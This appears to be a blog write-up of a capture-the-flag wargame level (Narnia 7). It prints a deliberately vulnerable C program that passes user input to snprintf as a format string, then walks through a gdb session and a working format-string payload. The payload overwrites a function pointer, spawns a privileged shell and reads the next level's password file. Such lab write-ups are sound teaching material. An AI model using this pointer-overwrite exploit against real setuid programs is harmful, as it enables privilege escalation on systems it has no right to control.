1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int goodfunction(); int hackedfunction(); int vuln(const char *format){ char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("goodfunction() = %p\n", goodfunction); printf("hackedfunction() = %p\n\n", hackedfunction); ptrf = goodfunction; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); printf("I guess you want to come to the hackedfunction...\n"); sleep(2); ptrf = goodfunction; snprintf(buffer, sizeof buffer, format); return ptrf(); } int main(int argc, char **argv){ if (argc <= 1){ fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } exit(vuln(argv[1])); } int goodfunction(){ printf("Welcome to the goodfunction, but i said the Hackedfunction..\n"); fflush(stdout); return 0; } int hackedfunction(){ printf("Way to go!!!!"); fflush(stdout); setreuid(geteuid(),geteuid()); system("/bin/sh"); return 0; } |
The vulnerability is in snprintf that can be exploited with a format string.
There are also a function hackedfunction() that spawns an elevated shell but it's not used in the execution flow, and a function goodfunction() that is executed and it writes some output and exits.
The goodfunction is called by main on exit by means of a instruction pointer on the stack
A possibile solution would be to overwrite the pointer of goodfunction and point it to the address of hackedfunction.
Let's do some experiments with gdb:
narnia7@narnia:~$ gdb /narnia/narnia7 GNU gdb (Debian 7.12-6) 7.12.0.20161007-git ... (gdb) disassemble vuln 0x080486ac <+145>: push %eax 0x080486ad <+146>: call 0x8048500 <snprintf@plt> 0x080486b2 <+151>: add $0xc,%esp 0x080486b5 <+154>: mov -0x84(%ebp),%eax 0x080486bb <+160>: call *%eax 0x080486bd <+162>: leave (gdb) break *0x080486ad Breakpoint 1 at 0x80486ad (gdb) break *0x080486b2 Breakpoint 2 at 0x80486b2 (gdb) set args $(python -c 'print "\x01\xd6\xff\xff""%x%n%x%x%x%x"') (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia7 $(python -c 'print "\x01\xd6\xff\xff""%x%n%x%x%x%x"') goodfunction() = 0x80486ff hackedfunction() = 0x8048724 before : ptrf() = 0x80486ff (0xffffd648) I guess you want to come to the hackedfunction... c Breakpoint 1, 0x080486ad in vuln () (gdb) c Continuing. Breakpoint 2, 0x080486b2 in vuln () (gdb) x/wx 0xffffd601 0xffffd601: 0x0000000b
In gdb we disassemble the code of vuln function and place breakpoints just before and after the snprintf function (well, the breakpoint after is useful, the breakpoint before not too much)
And use a string format like "\x01\xd6\xff\xff""%x%n%x%x%x%x"'
This %x makes the snprintf write a number at the address specified at the beginning of the format strinf (0xffffd601). The number is 0x0b
We also get some interesting information:
- address of goodfunction = 0x80486ff
- address of hackedfunction = 0x8048724
- address of writable pointer to goodfunciton, ptr = 0xffffd648
We have to do two things:
- overwrite the memory location 0xffffd648 (ptr) changing it from goodfunction location (0x80486ff) to the hackedfunction location (0x8048724)
The decimal value of 0x8048724 is 134514468
So let's try with a command line parameter:
$(python -c 'print "\x48\xd6\xff\xff%134514468x%n%"')
narnia7@narnia:~$ /narnia/narnia7 $(python -c 'print "\x48\xd6\xff\xff%134514468x%n%"') goodfunction() = 0x80486ff hackedfunction() = 0x8048724 before : ptrf() = 0x80486ff (0xffffd658) I guess you want to come to the hackedfunction... Way to go!!!!
$ id uid=14008(narnia8) gid=14007(narnia7) groups=14007(narnia7) $ cat /etc/narnia_pass/narnia8 m********g
$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.